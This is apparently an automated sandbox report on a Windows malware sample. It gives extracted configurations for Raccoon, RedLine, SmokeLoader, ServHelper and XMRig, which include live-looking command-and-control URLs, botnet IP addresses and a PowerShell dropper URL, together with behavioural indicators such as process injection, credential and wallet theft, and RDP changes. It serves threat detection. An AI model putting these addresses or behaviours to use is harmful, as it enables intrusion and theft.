raccoon | 6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf

Analysis

max time kernel
152s
max time network
151s
platform
windows10_x64
resource
win10v20210408
submitted
12-10-2021 13:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.exe
Size

175KB
MD5

75c57c36ea55cae6e61d3de271003217
SHA1

999f8eeefdbefa74f9cf14e7447ddace4b04e293
SHA256

6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf
SHA512

cdf331578a6016371e7b2fd3b2cb96abbd0537a6288c326e41acd8b3308a706ba1a2f78bee6067ed0094f789493e8ac9f783979151f6d49880e185af8f6f7e89

Score

10^/10

raccoon redline servhelper smokeloader xmrig 27d80aa27e80cd2ef63c638e2752e24242d1b37c megaproliv w1 backdoor discovery infostealer miner persistence spyware stealer suricata trojan upx vmprotect

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

smokeloader

Version

2020

http://linavanandr11.club/

http://iselaharty12.club/

http://giovaninardo13.club/

http://zayneliann14.club/

http://zorinosali15.club/

rc4.i32

Extracted

Family

raccoon

Version

1.8.2

Botnet

27d80aa27e80cd2ef63c638e2752e24242d1b37c

Attributes

url4cnc
http://telemirror.top/ararius809b

http://tgmirror.top/ararius809b

http://telegatt.top/ararius809b

http://telegka.top/ararius809b

http://telegin.top/ararius809b

https://t.me/ararius809b

rc4.plain

Extracted

Family

redline

Botnet

109.234.34.165:12323

Extracted

Family

redline

Botnet

MegaProliv

93.115.20.139:28978

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 5 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2820-143-0x0000000000780000-0x00000000007B1000-memory.dmp	family_redline
behavioral1/memory/2820-148-0x0000000000870000-0x000000000088C000-memory.dmp	family_redline
behavioral1/memory/2884-211-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral1/memory/2884-212-0x000000000041B25E-mapping.dmp	family_redline
behavioral1/memory/2884-221-0x0000000004D40000-0x0000000005346000-memory.dmp	family_redline

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

WerFault.exe

description pid process target process

PID 2888 created 1852 2888 WerFault.exe CC4F.exe
suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

description	pid	process	target process
PID 2888 created 1852	2888	WerFault.exe	CC4F.exe

Blocklisted process makes network request 9 IoCs

Processes:

powershell.exe

flow	pid	process
61	2124	powershell.exe
63	2124	powershell.exe
64	2124	powershell.exe
65	2124	powershell.exe
67	2124	powershell.exe
69	2124	powershell.exe
71	2124	powershell.exe
74	2124	powershell.exe
76	2124	powershell.exe

Executes dropped EXE 8 IoCs

Processes:

C5E6.exeCC4F.exeD2B9.exeDE05.exeE44F.exeE44F.execbtfvtucbtfvtu

pid process

1676 C5E6.exe
1852 CC4F.exe
2820 D2B9.exe
3168 DE05.exe
3196 E44F.exe
2884 E44F.exe
2968 cbtfvtu
3808 cbtfvtu
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

pid	process
1676	C5E6.exe
1852	CC4F.exe
2820	D2B9.exe
3168	DE05.exe
3196	E44F.exe
2884	E44F.exe
2968	cbtfvtu
3808	cbtfvtu

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
\Windows\Branding\mediasrv.png	upx
\Windows\Branding\mediasvc.png	upx

VMProtect packed file 3 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\C5E6.exe	vmprotect
C:\Users\Admin\AppData\Local\Temp\C5E6.exe	vmprotect
behavioral1/memory/1676-122-0x0000000000360000-0x00000000011A6000-memory.dmp	vmprotect

Deletes itself 1 IoCs

Processes:

pid process

2224
Loads dropped DLL 2 IoCs

Processes:

pid process

3204
3204
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Windows\SysWOW64\rdpclip.exe powershell.exe

pid	process
2224

pid	process
3204
3204

description	ioc	process
File created	C:\Windows\SysWOW64\rdpclip.exe	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.exeE44F.execbtfvtu

description	pid	process	target process
PID 504 set thread context of 2708	504	6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.exe	6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.exe
PID 3196 set thread context of 2884	3196	E44F.exe	E44F.exe
PID 2968 set thread context of 3808	2968	cbtfvtu	cbtfvtu

Drops file in Program Files directory 4 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 24 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6DAF.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6E30.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_55g1aaie.muo.psm1	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_x0q1l5pa.atm.ps1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6E0F.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6E1F.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6DFE.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2888 1852 WerFault.exe CC4F.exe

pid	pid_target	process	target process
2888	1852	WerFault.exe	CC4F.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.execbtfvtu

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	cbtfvtu
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	cbtfvtu
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	cbtfvtu

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1400 = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\SelfHealCount = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyByPass = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1200 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\e1be3f182420a0a0 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones,"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1400 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Icon = "shell32.dll#0016"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1400 = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\http = "3"	powershell.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exe

pid process

3408 reg.exe
3988 reg.exe
Runs net.exe

pid	process
3408	reg.exe
3988	reg.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	67	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	63	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	64	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	65	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.exe

pid	process
2708	6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.exe
2708	6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.exe
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224
2224

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

2224
Suspicious behavior: LoadsDriver 3 IoCs

Processes:

pid process

620
620
620
Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.execbtfvtu

pid process

2708 6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.exe
3808 cbtfvtu

pid	process
2224

pid	process
620
620
620

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exeD2B9.exepowershell.exepowershell.exeE44F.exepowershell.exepowershell.exe

description	pid	process
Token: SeShutdownPrivilege	2224
Token: SeCreatePagefilePrivilege	2224
Token: SeShutdownPrivilege	2224
Token: SeCreatePagefilePrivilege	2224
Token: SeShutdownPrivilege	2224
Token: SeCreatePagefilePrivilege	2224
Token: SeDebugPrivilege	1840	powershell.exe
Token: SeShutdownPrivilege	2224
Token: SeCreatePagefilePrivilege	2224
Token: SeShutdownPrivilege	2224
Token: SeCreatePagefilePrivilege	2224
Token: SeShutdownPrivilege	2224
Token: SeCreatePagefilePrivilege	2224
Token: SeDebugPrivilege	2820	D2B9.exe
Token: SeDebugPrivilege	1616	powershell.exe
Token: SeDebugPrivilege	816	powershell.exe
Token: SeDebugPrivilege	2884	E44F.exe
Token: SeShutdownPrivilege	2224
Token: SeCreatePagefilePrivilege	2224
Token: SeShutdownPrivilege	2224
Token: SeCreatePagefilePrivilege	2224
Token: SeShutdownPrivilege	2224
Token: SeCreatePagefilePrivilege	2224
Token: SeIncreaseQuotaPrivilege	1616	powershell.exe
Token: SeSecurityPrivilege	1616	powershell.exe
Token: SeTakeOwnershipPrivilege	1616	powershell.exe
Token: SeLoadDriverPrivilege	1616	powershell.exe
Token: SeSystemProfilePrivilege	1616	powershell.exe
Token: SeSystemtimePrivilege	1616	powershell.exe
Token: SeProfSingleProcessPrivilege	1616	powershell.exe
Token: SeIncBasePriorityPrivilege	1616	powershell.exe
Token: SeCreatePagefilePrivilege	1616	powershell.exe
Token: SeBackupPrivilege	1616	powershell.exe
Token: SeRestorePrivilege	1616	powershell.exe
Token: SeShutdownPrivilege	1616	powershell.exe
Token: SeDebugPrivilege	1616	powershell.exe
Token: SeSystemEnvironmentPrivilege	1616	powershell.exe
Token: SeRemoteShutdownPrivilege	1616	powershell.exe
Token: SeUndockPrivilege	1616	powershell.exe
Token: SeManageVolumePrivilege	1616	powershell.exe
Token: 33	1616	powershell.exe
Token: 34	1616	powershell.exe
Token: 35	1616	powershell.exe
Token: 36	1616	powershell.exe
Token: SeDebugPrivilege	3576	powershell.exe
Token: SeDebugPrivilege	3268	powershell.exe
Token: SeIncreaseQuotaPrivilege	3576	powershell.exe
Token: SeSecurityPrivilege	3576	powershell.exe
Token: SeTakeOwnershipPrivilege	3576	powershell.exe
Token: SeLoadDriverPrivilege	3576	powershell.exe
Token: SeSystemProfilePrivilege	3576	powershell.exe
Token: SeSystemtimePrivilege	3576	powershell.exe
Token: SeProfSingleProcessPrivilege	3576	powershell.exe
Token: SeIncBasePriorityPrivilege	3576	powershell.exe
Token: SeCreatePagefilePrivilege	3576	powershell.exe
Token: SeBackupPrivilege	3576	powershell.exe
Token: SeRestorePrivilege	3576	powershell.exe
Token: SeShutdownPrivilege	3576	powershell.exe
Token: SeDebugPrivilege	3576	powershell.exe
Token: SeSystemEnvironmentPrivilege	3576	powershell.exe
Token: SeRemoteShutdownPrivilege	3576	powershell.exe
Token: SeUndockPrivilege	3576	powershell.exe
Token: SeManageVolumePrivilege	3576	powershell.exe
Token: 33	3576	powershell.exe

Suspicious use of FindShellTrayWindow 5 IoCs

Processes:

pid process

2224
2224
2224
2224
2224
Suspicious use of SendNotifyMessage 6 IoCs

Processes:

pid process

2224
2224
2224
2224
2224
2224
Suspicious use of UnmapMainImage 1 IoCs

Processes:

pid process

2224

pid	process
2224
2224
2224
2224
2224

pid	process
2224
2224
2224
2224
2224
2224

pid	process
2224

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.exeC5E6.exeE44F.exepowershell.execsc.exeDE05.exepowershell.execsc.exenet.exe

description	pid	process	target process
PID 504 wrote to memory of 2708	504	6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.exe	6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.exe
PID 504 wrote to memory of 2708	504	6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.exe	6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.exe
PID 504 wrote to memory of 2708	504	6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.exe	6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.exe
PID 504 wrote to memory of 2708	504	6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.exe	6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.exe
PID 504 wrote to memory of 2708	504	6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.exe	6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.exe
PID 504 wrote to memory of 2708	504	6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.exe	6edcffc2f25c436812d212ae7dcca1e5ff85fffbc3ba9e1b2c4529e4b00584bf.exe
PID 2224 wrote to memory of 1676	2224		C5E6.exe
PID 2224 wrote to memory of 1676	2224		C5E6.exe
PID 2224 wrote to memory of 1852	2224		CC4F.exe
PID 2224 wrote to memory of 1852	2224		CC4F.exe
PID 2224 wrote to memory of 1852	2224		CC4F.exe
PID 2224 wrote to memory of 2820	2224		D2B9.exe
PID 2224 wrote to memory of 2820	2224		D2B9.exe
PID 2224 wrote to memory of 2820	2224		D2B9.exe
PID 2224 wrote to memory of 3168	2224		DE05.exe
PID 2224 wrote to memory of 3168	2224		DE05.exe
PID 2224 wrote to memory of 3168	2224		DE05.exe
PID 2224 wrote to memory of 3196	2224		E44F.exe
PID 2224 wrote to memory of 3196	2224		E44F.exe
PID 2224 wrote to memory of 3196	2224		E44F.exe
PID 1676 wrote to memory of 1840	1676	C5E6.exe	powershell.exe
PID 1676 wrote to memory of 1840	1676	C5E6.exe	powershell.exe
PID 3196 wrote to memory of 2884	3196	E44F.exe	E44F.exe
PID 3196 wrote to memory of 2884	3196	E44F.exe	E44F.exe
PID 3196 wrote to memory of 2884	3196	E44F.exe	E44F.exe
PID 1840 wrote to memory of 1940	1840	powershell.exe	csc.exe
PID 1840 wrote to memory of 1940	1840	powershell.exe	csc.exe
PID 1940 wrote to memory of 2580	1940	csc.exe	cvtres.exe
PID 1940 wrote to memory of 2580	1940	csc.exe	cvtres.exe
PID 3196 wrote to memory of 2884	3196	E44F.exe	E44F.exe
PID 3196 wrote to memory of 2884	3196	E44F.exe	E44F.exe
PID 3196 wrote to memory of 2884	3196	E44F.exe	E44F.exe
PID 3196 wrote to memory of 2884	3196	E44F.exe	E44F.exe
PID 3196 wrote to memory of 2884	3196	E44F.exe	E44F.exe
PID 3168 wrote to memory of 816	3168	DE05.exe	powershell.exe
PID 3168 wrote to memory of 816	3168	DE05.exe	powershell.exe
PID 3168 wrote to memory of 816	3168	DE05.exe	powershell.exe
PID 1840 wrote to memory of 1616	1840	powershell.exe	powershell.exe
PID 1840 wrote to memory of 1616	1840	powershell.exe	powershell.exe
PID 816 wrote to memory of 3460	816	powershell.exe	csc.exe
PID 816 wrote to memory of 3460	816	powershell.exe	csc.exe
PID 816 wrote to memory of 3460	816	powershell.exe	csc.exe
